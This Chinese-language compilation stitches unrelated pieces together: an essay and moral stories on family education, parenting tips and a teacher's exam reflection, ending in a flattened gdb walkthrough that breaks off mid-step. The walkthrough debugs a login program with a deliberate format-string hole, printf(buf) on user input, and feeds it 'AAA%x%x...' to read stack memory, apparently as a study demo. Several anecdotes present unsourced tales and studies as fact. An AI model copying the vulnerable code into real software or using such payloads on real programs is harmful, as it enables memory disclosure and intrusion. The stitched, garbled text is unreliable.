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小析家庭教育
幼儿――今天是祖国的幼苗，明天便是参天的栋梁；今天是稚嫩的童心，明天便是民族的骄傲。用人类的千年的灿烂文明和现代人的智慧结晶，哺育幼儿茁壮成长，是每个成人义不容辞的责任。人，一降生，家庭就是第一个归属的群体，父母就是第一任老师，所以更是父母责无旁贷的义务。陶行知先生说过：“幼儿比如幼苗，必须培养得宜，方能发芽滋长，否则幼年受了损伤，即不夭折，也难成长。”这说明重视幼儿时期的精心培育是何等重要！
幼儿期是一个人道德品质，行为习惯和个性开始形成的重要时期，因此从小抓好品德教育，将为培养有理想、有道德、有文化、有纪律的一位新人打下坚定的基础。家庭是儿童生活的第一个环境，对孩子的影响最为深刻。前苏联教育家马卡连柯指出：“家庭是最重要的地方，在家庭里，人初次向社会生活迈进。”
在报纸上，我们不难发现有关不良少年滋事的消息，以为因犯案被送去管教的孩子们父母的话。这些父母总说：“我们平时就千叮咛万嘱咐，引导孩子，没想到他还会……”
爱子与父母离心离德，在外为非作歹，那种悲哀心情绝非局外人所能体会。相信那些家长都在无以言喻的痛苦中，想尽办法在为挽回孩子的心而努力着。
但是，每当听到不良少年的父母说这些话时，我们不禁要问：在那些不良少年的'婴儿时期儿父母究竟是怎样跟孩子一起渡过的？
很可能，从那时起到现在，他们忽略了“子女是看着父母的背影长大的”这回事吧！家庭教育对孩子的影响，不是暴风骤雨式的，而是潜移默化地产生的。幼儿知识经验贫乏，可塑性大，模仿力强，在和父母的朝夕相处中，会自然而然地受到父母言谈举止的熏陶，打上父母的“烙印”，成为父母的影子。家长的言行对幼儿起着言传身教和人格示范的作用，这是一种直观、形象的教育。幼儿对父母生活、经济上的依赖关系，情感上的依恋关系，使幼儿常以父母为自己的榜样，因而这种教育又是最富有情感的。幼儿最初的道德概念、是非标准都来自于家长对他的教育。父母是幼儿最直接的榜样。
因此，家长的教育素质直接关系到幼儿的成长与发展，合理的教育素质结构有益于幼儿的发展，而不合理的教育素质结构则会妨碍幼儿的发展。
1、家长合理的教育素质结构有利于幼儿的发展
家长具有较高的修养、丰富的知识、教育义务感、威信、理智，就能对孩子动之以情，晓之以理，导之以行，促进孩子的发展。幼儿家庭教育证明，家长具备较好的修养和较高的威信，就能对孩子产生巨大的无形的影响。
有个小女孩，在幼儿园里玩“老鹰捉小鸡”的游戏时，后面一个男生把她衣背的“草莓花”抓下来了，她把“草莓花”捡起来，装在衣服的袋里，继续玩：带班的老师问她：“为什么不报告老师？”她平淡地说：“王聪不是故意的，我在这里早已原谅了他，回家我叫妈妈帮我缝一下，不就好了吗？”孩子的宽容和家长生活中的榜样是分不开的。据带班的老师反映，这个小女孩的母亲是个售票员，在单位里，总是节假日上班的时间最多，任劳任怨。母亲良好的作风和人品，对孩子产生了潜移默化的影响。
幼儿家庭教育的实验研究也证明，父母具有丰富的知识、教育义务感和理智，就会对孩子提出的不合理要求加以拒绝，对孩子提出的合理要求也不马上答应，而是延迟答应，以培养孩子的耐心等待的品质，使孩子成为社会需要的人。据美国哥伦比亚大学一位心理学家做过的一个实验证明：耐心等待的孩子比同龄人更稳重、可靠、聪明、自信，更受同龄人的欢迎。
2、家长教育素质结构的偏差会阻碍幼儿的发展
家长自身修养差或知识贫乏、教育义务感不强、没有威信、不够理智，就会从不同的方面，制约幼儿的发展。比如，家长修养差，自私自利、好贪小便宜，并唆使孩子在幼儿园挑好的玩，拣好的吃，表面能看是为孩子好，实际上则不利于幼儿的发展。
家长教育义务感不强，特别是父亲不能很好地承担教育子女的，责任则对幼儿的发展极为不利。国外研究证明，在幼儿成长的过程中，你有母亲的赞扬是远远不够的，父亲对孩子的赞赏有更大的效果，父亲如果不参与到家庭教育中来，则不能为男孩树立一个母亲之外的大人形象，仅让孩子感受异性的谈吐、举止、容易导致人格的扭曲，并给孩子未来的发展埋下隐患。
家庭教育是幼儿人格成长的摇篮，家庭是孩子接触的第一个环境，家庭环境会给孩子人格的形成打下难以磨灭的烙印。父母是孩子的第一位老师，也是孩子的终身教授，父母的人格力量对孩子的成长具有深远的意义。俗话说：“孩子的行为表现的是父母行为的一面镜子。”著名文学家老舍曾饱含深情地说：“从私塾到小学到中学，我经过起码有百位老师吧，其中有给我很大影响的，也有毫无影响的，但是我的真正老师把性格传给我的是我的母亲，所以并不识字，她给我的是生命的教育。”可见父母在孩子心目中的地位。因此父母时刻要注意自己的言行。生活中相互尊重、相互谦让，与邻里友好相处、关心别人，为孩子营造一个温暖和谐的家庭氛围，为幼儿做出榜样。
家庭教育小故事
1、小事・大爱
在一位朋友家小坐，发现他给父母电话的时候拨了两遍电话号码。第一遍拨过之后，铃响三声就挂断。再拨第二遍，然后通话。
“第一遍占线吗？”我不经意地问道。
“没有。”
“是没想好说什么？”
“不是。”
“那麽干么拨两遍？”
他笑了笑：“你不知道，我爸爸妈妈都是接电话非常急的人，只要听见铃响，就会跑着去接。有一次，妈妈为接电话还让桌腿把脚趾绊了一下，肿了很长时间。从那时起，我就和二老约定，接电话不准跑。我先拨一遍，给他们足够的时间。”
我的眼睛忽然十分湿润。父母之爱总是细致入微，犹如孩子衣衫上的针脚。子女对父母的爱难道不一样吗？
多拨一次电话号码，不过是一件小事，可正是这小事，反衬出一个人对父母的大爱。
启示：从细微之处爱父母的精神值得大家学习，有人说男孩心粗，我看不是心粗，而是爱父母不到位。
2、面试
有个年轻人去参加一家公司的招聘面试。
面试地点在该公司大楼一楼。很快的，这年轻人便回答了主试人提出的所有问题。最后，主试人让他去10楼的老总办公室进行最后的面试，还关照地说：“很抱歉，我们这栋楼的电梯今天坏了，所以只好辛苦你从楼梯上去了。”
年轻人爬到七楼。在楼梯的转角处，他看见一个头发花白、一身勤杂工穿着的老人，正手提水桶吃力地也在上楼……他就上去接过了老人手中的水桶，说：“来，大爷，我来替你提吧。”“可是，我一直要提到十五楼，不影响你办事吗？”老人说。“没事，”年轻人毫不犹豫地回答，“我可以给你提到那儿后在办自己的事。”
就这样，年轻人提着水桶，与那老人一前一后地上着楼，到了10楼的时候，后边的那个老人突然拍了拍年轻人的肩膀，说：“小伙子，祝贺你，你已经被本公司正式录用了，我就是公司的老总”，老人继续说，“别人都对我视而不见，所以我实在无法了解他们的为人，而你却以你的爱心，明明白白地告诉了我你是一个怎样的人！”
爱心是一个人从幼年时起就应当具有的，否则，会失去许许多多通向成功的机会。
启示：一个人是否有爱心，是能否有发展前途的基础。
华盛顿是美国第一位总统。他是孩子的时候，砍掉他父亲的两棵樱桃树。他父亲回来了，非常生气。他暗自思量，“如果我查明谁砍了我的树，我要狠狠揍他一顿。”他父亲到处询问。当他问儿子时，华盛顿开始哭了起来。“我砍了你的树!”华盛顿和盘托出。父亲抱起他的儿子说：“我好聪明的孩子，我宁愿失去一百棵树，也不愿听你说谎。”
列宁小时候是一个认真学习的孩子。列宁在学校里，每门功课都学得很好。老师讲课，他用心听。老师留的作业，他认真做。列宁做完学校里的功课，还读许多课外书。他常常把书里的故事讲给别人听。他爱书里那些勤劳勇敢的人，拿他们做自己的榜样。列宁十分爱护书。他从来不把书弄脏，也不把书到处乱扔。列宁小时候就是这样学习的。
李嘉诚有一次从酒店出来，准备上车的时候，把一枚硬币掉在了地上，硬币咕辘辘地向阴沟滚去，他便欠下身去追捡。旁边一位印度籍的保安见状，立即过来帮他拾起，然后交到他的手上。李嘉诚把硬币放进口袋后，再从钱夹里取出100元港币，递给保安作为酬谢。 为了一元钱却花了100元，这无论从哪个角度看都是不划算的。有人向李嘉诚问起这件事情，他的解释：“若我不去捡硬币，它就会在这个世界上消失，而我给保安100元，他便可以用之消费。我觉得钱可以拿去使用，但不能浪费” 珍惜财富是一种品质，也是一种修养，一种品德。记得小时候父辈们曾教育我们说：惜衣有衣穿，惜钱有钱用。所以节约是美德，大概也是这个道理吧。
小时候，莫扎特常常走到钢琴前面，按着琴键细听，并努力弹出他曾经听到过的音乐。一次，莫扎特的父亲和朋友一起回家，看到4岁的莫扎特正坐在桌旁写东西。父亲问他在干什么，莫扎特说他正在写钢琴协奏曲。父亲把五线谱纸拿过来一看，激动得流出了眼泪，他对朋友说：“你看，他写的这些又正确又富有意义啊!”天资加上勤奋和用心，这就是神童莫扎特!
《柳公权戒骄成名》 柳公权从小就显示出在书法方面的过人天赋，他写的字远近闻名。他也因此有些骄傲。不过，有一天他遇到了一个没有手的老人，竟然发现老人用脚写的字比用他手写的还好。从此，他时时把“戒骄”记在心中，勤奋练字，虚心学习，终于成为一代书法大家。
《屈原洞中苦读》 这个故事讲述了，屈原小时侯不顾长辈的反对，不论刮风下雨，天寒地冻，躲到山洞里偷读《诗经》。经过整整三年，他熟读了《诗经》305篇，从这些民歌民谣中吸收了丰富的营养，终于成为一位伟大诗人。
1.20美金的价值
一位父亲下班回家已经很晚了，发现他的五岁的儿子靠在门旁等他。“我可以问你一个问题吗？”“爸爸，你一小时可以赚多少钱？”“假如你一定想知道的话，我一小时赚20美金。”“爸爸，可以借我10美金吗？”父亲非常生气。约一小时后，他平静了下来，开始想着自己可能对孩子太凶了……或许孩子真的很想买什么，再说他平时很少要过钱。于是，父亲走进儿子的房间，给了孩子10美金。“爸爸，谢谢你。”小孩欢笑着从枕头底下拿出一些被弄皱的钞票，慢慢地数着。“为什么你已经有了钱还要？”“因为这之前还不够，但我现在够了。”孩子回答，“爸爸，我现在有20美金了，我可以向你买一个小时的时间吗？明天请早一点回家――我想和你一起吃晚餐。”
时间可以换取金钱，也可以换取家庭的亲情和快乐。给家庭挤出些时间吧，因为有些东西是拿金钱买不到的。
2.人生第一课
这是美国一家普通的幼儿园。
刚刚入园的儿童被老师带进幼儿园的图书馆，很随便地坐在地毯上，接受他们的人生第一课。
一位幼儿园图书馆的老师微笑着走上来，她的背后是整架整架的图书。
“孩子们，我来给你们讲个故事好不好？”
“好！”孩子们答道。
于是，老师从书架上抽下一本书，讲了一个很浅显的童话。
“孩子们，”老师讲完故事后说，“这个故事就写在这本书中，这本书是一个作家写的。你们长大了，也一样能写这样的书。”
老师停顿了一下，接着问：“哪一位小朋友也能给大家讲一个故事？”
一位小朋友立即站起来。“我有一个爸爸，还有一个妈妈，还有……”幼稚的声音在厅中回荡。
然而，老师却用一张非常好的纸，很认真、很工整地把这个语无伦次地故事记录下来。
“下面，”老师说，“哪位小朋友来给这个故事配张插图呢？”
又一位小朋友站了起来，画一个“爸爸”，画一个“妈妈”，再画一个“我”。当然画得很不像样子，但老师同样认真地把它接过来，附在那一页故事的后面，然后取出一张精美的封皮纸，把它们装订在一起。封面上，写上作者的姓名、插图者的姓名，“出版”的年、月、日。
老师把这本“书”高高地举起来：“孩子，瞧，这是你写的第一本书。孩子们，写书并不难。你们还小，所以只能写这种小书；但是，等你们长大了，就能写大书，就能成为伟大的人物。”
人生第一课结束，在不知不觉中，孩子受到了某种灌输。如何看待这种灌输呢？
评价：这样的灌输使孩子们从小就“站着”，不会光“趴着”去看待那些大人物。这种自信心与健全的人格会为人的一生打下一个良好的基础。
3.记住，我们在养小孩，不是在养花
大卫有两个小孩，一个五岁，一个七岁。有一天，他正在教他七岁的孩子凯利怎样使用瓦斯驱动的割草机割草。他正教孩子如何在尽头把割草机掉头时，妻子叫他去问事情。当大卫转身回答问题时，凯利把割草机推到草坪边的花圃上……
大卫回头发现发生的事之后，他开始失控了。大卫花了很多时间、费了很大力才侍弄出那些令邻居们羡慕的花圃大约有两尺宽已被夷为平地！当他开始对儿子提高音量之后，妻子很快地走到他身边，把手放在他的肩膀上，说：“大卫，请记住――我们在养小孩，不是在养花！”
大卫的妻子也提醒我们，为人父母必须明了熟轻熟重。孩子以及他们的自尊比他所破坏的任何物质上的东西还要重要。被球砸碎的窗户、被孩子不小心碰倒的灯及掉在厨房里的碟子都已经破了，花也已经死了，再责备孩子又有何用？我必须记得不要打破一个孩子的心灵，不要让他们充满活力的感受变得麻木，不要再增添更大的损失。
4.分苹果的故事
一个人一生中最早受到的教育来自家庭，来自母亲对孩子的早期教育。美国一位著名心理学家为了研究母亲对人一生的影响，在全美选出50位成功人士，他们都在各自的行业中获得了卓越的成就，同时又选出50位有犯罪记录的人，分别去信给他们，请他们谈谈母亲对他们的影响。有两封回信谈的是同一件事：小时侯母亲给他们分苹果。
那位犯人这样写到：妈妈问我和弟弟：你们想要哪个？弟弟抢先说想要最大最红的那个。妈妈听了，瞪了他一眼，责备他说：“好孩子要学会把好东西让给别人，不能总想着自己。”我灵机一动，改口说：“妈妈，我要那个最小的，最大的留给弟弟吧。”妈妈听了，非常高兴，在我脸上亲了一下，并把那个又大又红的苹果奖励给我。我得到了我想要的东西，从此，我学会了说谎。以后，我又学会了打架、偷、抢，为了得到想得到的东西，我不择手段。直到现在，我被送进了监狱
那位著名人士这样写到：我和弟弟都争着要大的。妈妈说：“我把门前的饿草坪分成三块，你们三人一人一块，负责修剪好，谁干得最快最好，谁就有权得到它！”我们三人比赛除草，结果，我赢得了那个最大的苹果。我非常感谢母亲，她让我明白一个最简单也是最重要的道理：要想得到最好的，就必须努力争第一。
推动摇篮的手，就是推动世界的手。母亲是孩子的第一任老师，你可以教他说第一句谎言，也可以教他做一个诚实的永远努力争第一的人。
5.一个美丽的故事
有个塌鼻子的小男孩，因为两岁时得过脑炎，智力受损，学习起来很吃力。打个比方，别人写作文能写二三百字，他却只能写三五行。但即便这样的作文，他同样能写得美丽如花。
那是一次作文课，题目是《愿望》。他极其认真地写，那作文极短，只有三句话：我有两个愿望，第一个是，妈妈天天笑眯眯地看着我说：“你真聪明。”第二个是，老师天天笑眯眯地看着我说：“你一点也不笨。”
于是，就是这篇作文，深深地打动了他的老师，那位妈妈式的老师不仅给了他最高分，在班上带感情朗读了这篇作文，还一笔一画地批道：你很聪明，你的作文写得非常感人，请放心，妈妈肯定会喜欢你的，老师肯定会格外喜欢你的，大家肯定会喜欢你的。
是的，智力可以受损，但爱永远不会，它朝气勃勃，永远垂着绿阴，开着明媚的花，结着芳香的果。
6.生命的价值
有一个生长在孤儿院中的小男孩，常常悲观地问院长：“象我这样的没人要的孩子，活着究竟有什么意思呢？”
院长总笑而不答。
有一天，院长交给男孩一块石头，说：“明天早上，你拿着这块石头到市场上去卖，但不是真卖，记住，无论别人出多少钱，绝对不能卖。”
第二天，男孩拿着石头蹲在市场的角落，意外地发现有不少人好奇地对他的石头感兴趣，而且价钱愈出愈高。回到院内，男孩兴奋地向院长报告，院长笑笑，要他明天拿到黄金市场上去卖。在黄金市场上，有人出比昨天高10倍的价钱来买这块石头。
最后，院长叫孩子把石头拿到宝石市场上去展示，结果，石头的身价又涨了10倍，更由于男孩怎么都不卖，竟被传扬为“稀世珍宝”。
男孩兴冲冲的捧着石头回到孤儿院，把这一切告诉给院长，并问为什么会这样。
院长没有笑，望着孩子慢馒说道：
“生命的价值就象这块石头一样，在不同的环境下就会有不同的意义。一块不起眼的石头，由于你的珍惜、惜售而提升了他的价值，竟被传为稀世珍宝。你不就象这块石头一样？只要自己看重自己，自我珍惜，生命就有意义有价值。”
生命的价值首先取决于自己的态度。
7.爱的神奇
这是一个发生在美国黑人贫民窟的真实故事。
一位大学教授带着他的学生来到这里搞调查研究，其中有一个课题是对该区 200名黑人孩子的前途作预测。学生们都很认真，不久报告都出来了，结论令人沮丧： 200名孩子无一例外地被认定为“一无是处”、“无所作为”、“终生碌碌”等等。
四十年后，老教授早已去世，他的继任者从档案里发现了这份报告，好奇心驱使他来到当年的黑人贫民窟。他惊奇地发现：当年被调查的 200名孩子中，除了20个已离开故地，无从考查外，其余 180个孩子大多数都获得了相当的成就，他们之中不乏银行家、商人、大律师和优秀运动员。这一切，他们都说最该感谢的是当年的一位小学教师。
继任者找到当年的小学教师，此时她已是迟暮晚年，吐字不太清楚，可有一句话任何人都听得懂：“我爱这些孩子。”
评价：只有没有爱心的老师，没有改变不了的孩子。
8.利 息
在一次段考中，一个男生的语文得了59分。他找到老师说：“老师，您就再给我的作文加1分吧，就1分。求您了！”老师说：“作文绝对不给加分；但是，我可以给你把总分改成60分――我借给你1分。不过，你可要想好啊，这1分不能白借，要还利息的，借 1还10，下次考试我要扣掉你10分，怎么样？要是觉得不划算就不要借了。”男生咬咬牙说：“我借。”结果，再后一次段考中，他语文得了91分，扣掉10分，净剩81分。
这位老师：一是有一颗真切的爱生之心，他不想让学生挨打；二是他充分相信学生；三是他善于利用契机激励学生。那个借分的学生由于获得了老师的“资助”，得到了老师的关爱，鼓起了奋斗的信心，从考试不及格到考试满分，实现了他自己的许诺。
――一般说，老师对学习成绩不佳的学生往往不会很重视，不会很信任，有的甚至会挖苦讽刺，巴不得借家长之手“好好整治”一下学生。老师心里很想把学生教好，但对学生缺乏爱心，单是“恨铁不成钢”，“铁”就难以“炼成钢”。爱学生是和尊重学生、信任学生连在一起的。
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家庭教育小知识
1、有阅读的氛围
有位爸爸曾经骄傲地告诉我：我家并不奢华，但唯一值得骄傲的是，我们家里摆放着一张大大的书桌，我和孩子可以随时在上面阅读、作画，书香的熏陶胜过一切口头说教。
我欣赏这位有远见的家长，还有什么教育比润物无声更美好呢？如果孩子身边总是充斥着玩具与零食，他就可能变得贪玩、贪吃；如果家里的麻将声争吵声此起彼伏，孩子的世界就会充斥着暴躁与不安；如果房间里总是飘着书香，孩子的心灵就能得以滋养。
所以，有阅读的氛围，是养育好孩子的第一要素。
2、从尊重孩子的老师开始
幼儿园里，经常会见这样的事情发生：某位家长因为孩子之间的小磕碰，与老师园长闹的不可开交。孩子磕碰了，父母着急，这是人之常情。但在没有弄清事情的原委之前，因一时的冲动，而责骂老师，我想这样的家长很难培养出一个温文尔雅的孩子。
每个孩子身上的'优点，都是父母美德的传承；每个孩子身上的顽劣，都是父母缺点的映射。所以，家风永远是一面镜子。为了让这面镜子更明净，家长要给自己制定规矩：不说谎话，给孩子的承诺一定兑现；不在孩子面前议论是非、抱怨生活；不和孩子讨论老师，维护孩子心中的敬畏和热爱。
3、温度做到刚刚好
育儿就如养花，每一朵花都有自己的小脾性，有的喜阴，有的喜阳。父母在处理大事小事的过程中，温度的拿捏很重要。过热过急，会矫枉过正；过冷过硬，又会伤了自尊。唯有时刻保持一份温和的心性，才能把孩子调教得同样有智慧。
除了吃饱穿暖，关怀孩子内心的温度，才是更加重要的。责罚孩子要有度，不可轻易触碰他的尊严。常常剥夺孩子自尊的最坏后果，莫过于让他鄙薄自尊并且习以为常。
4、让孩子在赞美中成长
教育中的“放养”论由来已久，但据老师的所见所闻，许多家长的放养是无底线的，甚至包括“是非观”的放任。
孩子抢别人的玩具，你不能视而不见；孩子帮助他人，事后你要表扬；孩子为你端茶倒水，帮你做家务，都要及时地表达谢意。从小让孩子懂得是非、学会担当、乐于付出，这比学知识更加重要。
当孩子事情做得漂亮，也要不吝赞美，孔雀会在赞美中开屏。但表扬需要艺术，不可过大过空，要有针对性，例如：你绘画的创意很特别；你听课的表情很专注……永远要记得，孩子天生的聪慧是不必表扬的，后天的努力才值得鼓励。
5、父母要舍得“用”自己的孩子
你曾经拒绝过孩子主动帮你做事情的请求吗？比如说，他想帮你洗衣服，你担心他弄得满身、满地的水；他想帮你扫地，你可能嫌他扫不干净；他来帮你洗洗脚，你又不好意思……
不如，多“用用”你的孩子吧？让他试着自己洗洗小袜子、帮你扫扫地、这是也是一次锻炼的机会，也是一次幸福的经历。
如果什么都不舍得让孩子做，孩子在幼儿园学到的能力得不到充分的实践，我觉得这很可惜。只有让孩子去做，在不断的“好心办坏事”的历练中，她才能掌握做好事情的技巧。
6、重视老师的点评
教育不是察言观色看表象，我们需要的是洞察力。作为一名幼儿家长，要看重老师对于孩子的每次点评，比如“饭后喜欢和小朋友打闹”，打闹，只是一种行为方式，打闹的背后，也许是自控力不够，也许是对班级规则的漠视，也许是对教师敬畏感的淡化。
这时，就需要家长和孩子有一次正式而坦诚的对话，在不设防的交谈中发现孩子的内心世界。
7、让孩子自己处理问题
幼儿之间的游戏玩耍，最易生矛盾、闹别扭。此时，家长最为合适的做法，是尽可能地做一个观众，看孩子如何对付烦恼。看过之后，你才知道他缺什么，你需要帮他做什么。
经常看见许多家长要么袒护要么劝离，这种直接帮孩子处理问题的方式，也许可以解决暂时的矛盾，却给孩子留下永久的依赖。
父母是孩子的第一任老师，家庭教育是幼儿园教育的基础和补充。家长放手不管，导致家庭和园所不能实现有效的连接与支持。那么，再好的幼儿园教育也没有用！
月考小析反思
月考在上一星期已经进行完了，总体科目而言，班级情况还好。就语文学科一门而言，和其他班相比，平均分有差距，高分也不多。
不过，语文是一门与成绩无关，与素养有关的事情。
就自己班级而言，在前一段的语文学习中，存在以下问题：
1、学生任务落实情况检查不够仔细。
班级人数比较多，每天在校时间有限，任务落实检查不够到位，导致有漏网之鱼。
2、学生阅读能力欠缺。
分析试卷发现，大部分学生失分点在阅读，一是课外阅读没有做好，通过今天检查情况，课外阅读作业学生不够重视，以后尽快完成教学任务，抽出时间进行读书交流活动。二是课内阅读，每天的课程有限，有的现代文阅读，课堂上没有充分的'阅读时间。在以后的语文课堂，尽量让学生多读书，多品味，教师少讲。每周的摘抄常规任务，要求要高，检查要仔细，认真反馈。
3、卷面问题。
班级男生人数较多，大部分男生书写有问题。或许是平时没有养成良好的书写习惯，作业卷面歪歪扭扭，不整洁，不整齐。今后的整顿措施，安排学生练字，每天一份习字作业，不描红，专门临摹。平时作业字没有进步，不认真，需要重写。
希望学生们能够坚持，自己能够多检查、多巩固、多落实。但愿这样坚持一段时间孩子们会形成好的语文学习习惯。
前言：
为了弄清楚整个流程，就来分析一个自己写的简单小DEMO来做说明
环境：
OS:BT5 R3 64bit
tools:gcc,gdb
source:c
流程：
先来看下这简单的程序，是个登陆验证程序
root@bt:~/code/assemble# cat login.c#include 编译生成： root@bt:gcc -g -o login login.c GDB 调试： 1,设置显示格式使用intel格式 view source1 (gdb) set disassembly-flavor intel 2,查看下main函数 (gdb) list main3 int pout(char *buf)4 {5 printf(buf);6 }7 int main( int argc,char *argv[])8 {9 char *password=“MyPass”;10 pout(argv[1]);11 if(0==strcmp(password,argv[1]))12 { 3,设置断点，方便查看 (gdb) break mainBreakpoint 1 at 0x4005e2: file login.c, line 9.(gdb) break poutBreakpoint 2 at 0x4005c0: file login.c, line 5.(gdb) break printfBreakpoint 3 at 0x400490(gdb) 4,输出参数运行 (gdb) run AAA%x%x%x%x%x%x%x%x%xStarting program: /root/code/assemble/login AAA%x%x%x%x%x%x%x%x%xBreakpoint 1, main (argc=2, argv=0x7fffffffe438) at login.c:99 char *password=“MyPass”;(gdb) 5,反汇编main函数 可以看出<+4>扩展栈，然后把第一个参数argc(edi传入)写入到[rbp-0x14]地址中，第二个参数argv写入栈顶[$rbp-0x20] (gdb) disassemble mainDump of assembler code for function main:0x00000000004005d3 <+0>: push rbp0x00000000004005d4 <+1>: mov rbp,rsp0x00000000004005d7 <+4>: sub rsp,0x200x00000000004005db <+8>: mov DWORD PTR [rbp-0x14],edi0x00000000004005de <+11>: mov QWORD PTR [rbp-0x20],rsi=>0x00000000004005e2 <+15>: mov QWORD PTR [rbp-0x8],0x40072c0x00000000004005ea <+23>: mov rax,QWORD PTR [rbp-0x20]0x00000000004005ee <+27>: add rax,0x80x00000000004005f2 <+31>: mov rax,QWORD PTR [rax]0x00000000004005f5 <+34>: mov rdi,rax0x00000000004005f8 <+37>: call 0x4005b4 0x00000000004005fd <+42>: mov rax,QWORD PTR [rbp-0x20]0x0000000000400601 <+46>: add rax,0x80x0000000000400605 <+50>: mov rdx,QWORD PTR [rax]0x0000000000400608 <+53>: mov rax,QWORD PTR [rbp-0x8]0x000000000040060c <+57>: mov rsi,rdx0x000000000040060f <+60>: mov rdi,rax0x0000000000400612 <+63>: call 0x4004c0 (gdb) x/10xi $rip=>0x4005e2 0x4005fd 6,这是把本地变量保存在栈上，这里只是保存了指针，下命令查看验证： (gdb) x/xs 0x40072c0x40072c: “MyPass”(gdb) 3 (gdb) $rdi 0x7fffffffe6e2: 0x2578257825414141 0x2578257825782578 0x7fffffffe6f2: 0x0078257825782578 0x4f535f544942524f 0x7fffffffe702: 0x3d52494454454b43 7,注释说明 0x00000000004005db <+8>: mov DWORD PTR [rbp-0x14],edi //第一个参数ARGC 0x00000000004005de <+11>: mov QWORD PTR [rbp-0x20],rsi //第二个参数ARGV =>0x00000000004005e2 <+15>: mov QWORD PTR [rbp-0x8],0x40072c //本地局部变量LOCAL DATA 0x00000000004005ea <+23>: mov rax,QWORD PTR [rbp-0x20] //传值rax = ARGV 0x00000000004005ee <+27>: add rax,0×8 //取下个地址，即ARGV[1] 0x00000000004005f2 <+31>: mov rax,QWORD PTR [rax] 0x00000000004005f5 <+34>: mov rdi,rax //为pout函数传参做准备。 8,验证argc (gdb) x/xd $rbp-0x140x7fffffffe33c: 2(gdb) x/xd $rdi0x2: Cannot access memory at address 0x2(gdb) print $rdi$1 = 2(gdb) 9,验证argv，其中argv[0]是程序名，argv[1]是第一个参数 (gdb) x/xg $rbp-0x200x7fffffffe330: 0x00007fffffffe438(gdb)(gdb) x/xg $rsi0x7fffffffe438: 0x00007fffffffe6c5 (gdb) x/xg $rbp-0x20 0x7fffffffe330: 0x00007fffffffe438 (gdb) x/xg 0x00007fffffffe438 0x7fffffffe438: 0x00007fffffffe6c5 (gdb) x/xs 0x00007fffffffe6c5 0x7fffffffe6c5: “/root/code/assemble/login” (gdb) (gdb) x/xg $rsi+8 0x7fffffffe440: 0x00007fffffffe6df (gdb) x/xs 0x00007fffffffe6df 0x7fffffffe6df: “AAA%x%x%x%x%x%x%x%x%x” (gdb) 10,查看断点 (gdb) info breakNum Type Disp Enb Address What1 breakpoint keep y 0x00000000004005e2 in main at login.c:9breakpoint already hit 1 time2 breakpoint keep y 0x00000000004005c0 in pout at login.c:53 breakpoint keep y 0x00007ffff7aaa5c0 (gdb) list4 {5 printf(buf);6 }7 int main( int argc,char *argv[])8 {9 char *password=“MyPass”;10 pout(argv[1]);11 if(0==strcmp(password,argv[1]))12 {13 printf(“\nLogin Success\n”); 11,继续执行 (gdb) continue Continuing.Breakpoint 2, pout (buf=0x7fffffffe6df “AAA%x%x%x%x%x%x%x%x%x”) at login.c:55 printf(buf);(gdb) 12,查看断点处接下来的指令，显然现在已经刚进入pout (gdb) x/10xi0x7ffff7aaa5c0 : sub rsp,0xd80x7ffff7aaa5c7 : movzx eax,al0x7ffff7aaa5ca : mov QWORD PTR [rsp+0x30],rdx0x7ffff7aaa5cf : lea rdx,[rax*4+0x0]0x7ffff7aaa5d7 : lea rax,[rip+0x44] # 0x7ffff7aaa622 0x7ffff7aaa5de : mov QWORD PTR [rsp+0x28],rsi0x7ffff7aaa5e3 : mov QWORD PTR [rsp+0x38],rcx0x7ffff7aaa5e8 : mov rsi,rdi0x7ffff7aaa5eb : sub rax,rdx0x7ffff7aaa5ee : lea rdx,[rsp+0xcf](gdb)(gdb) disassemble poutDump of assembler code for function pout:0x00000000004005b4 <+0>: push rbp0x00000000004005b5 <+1>: mov rbp,rsp0x00000000004005b8 <+4>: sub rsp,0x100x00000000004005bc <+8>: mov QWORD PTR [rbp-0x8],rdi=>0x00000000004005c0 <+12>: mov rax,QWORD PTR [rbp-0x8]0x00000000004005c4 <+16>: mov rdi,rax0x00000000004005c7 <+19>: mov eax,0x00x00000000004005cc <+24>: call 0x400490 0x00000000004005d1 <+29>: leave 0x00000000004005d2 <+30>: ret End of assembler dump.(gdb) 13,argv[1]被作为参数传入 (gdb) x/xg $rbp-0x80x7fffffffe318: 0x00007fffffffe6df(gdb)(gdb) x/xg $rdi0x7fffffffe6df: 0x2578257825414141(gdb) x/xs $rdi0x7fffffffe6df: “AAA%x%x%x%x%x%x%x%x%x”(gdb) 14,查看当前栈结构 (gdb) x/20xg $rsp0x7fffffffe310: 0x00007fffffffe450 0x00007fffffffe6df0x7fffffffe320: 0x00007fffffffe350 0x00000000004005fd0x7fffffffe330: 0x00007fffffffe438 0x0000000004d00x7fffffffe340: 0x00007fffffffe430 0x000000000040072c0x7fffffffe350: 0x0000000000000000 0x00007ffff7a78c4d0x7fffffffe360: 0x0000000000000000 0x00007fffffffe4380x7fffffffe370: 0x000000000000 0x00000000004005d30x7fffffffe380: 0x0000000000000000 0xb4d76a842c69e9fe0x7fffffffe390: 0x00000000004004d0 0x00007fffffffe4300x7fffffffe3a0: 0x0000000000000000 0x0000000000000000 15,下面继续执行到断点printf (gdb) continue Continuing.Breakpoint 3, 0x00007ffff7aaa5c0 in printf from /lib/libc.so.6Breakpoint 3, 0x00007ffff7aaa5c0 in printf () from /lib/libc.so.6(gdb) x/10xi0x7fffffffe3b0: (bad) 0x7fffffffe3b1: jmp 0x7fff957bce5f0x7fffffffe3b6: sub BYTE PTR [rbx-0x2],cl0x7fffffffe3b9: jmp 0x7fff85cb18370x7fffffffe3be: sub BYTE PTR [rbx+0x0],cl0x7fffffffe3c1: add BYTE PTR [rax],al0x7fffffffe3c3: add bh,bh0x7fffffffe3c5: jg 0x7fffffffe3c70x7fffffffe3c7: add BYTE PTR [rax],al0x7fffffffe3c9: add BYTE PTR [rax],al(gdb) disassemble printfDump of assembler code for function printf:=>0x00007ffff7aaa5c0 <+0>: sub rsp,0xd80x00007ffff7aaa5c7 <+7>: movzx eax,al0x00007ffff7aaa5ca <+10>: mov QWORD PTR [rsp+0x30],rdx0x00007ffff7aaa5cf <+15>: lea rdx,[rax*4+0x0]0x00007ffff7aaa5d7 <+23>: lea rax,[rip+0x44] # 0x7ffff7aaa622 0x00007ffff7aaa5de <+30>: mov QWORD PTR [rsp+0x28],rsi(gdb) x/xg $rsi0x7fffffffe438: 0x00007fffffffe6c5(gdb)(gdb) x/xs 0x00007fffffffe6c50x7fffffffe6c5: “/root/code/assemble/login”(gdb)//参数(gdb) x/xs $rdi0x7fffffffe6df: “AAA%x%x%x%x%x%x%x%x%x”(gdb) 16,再次查看栈结构 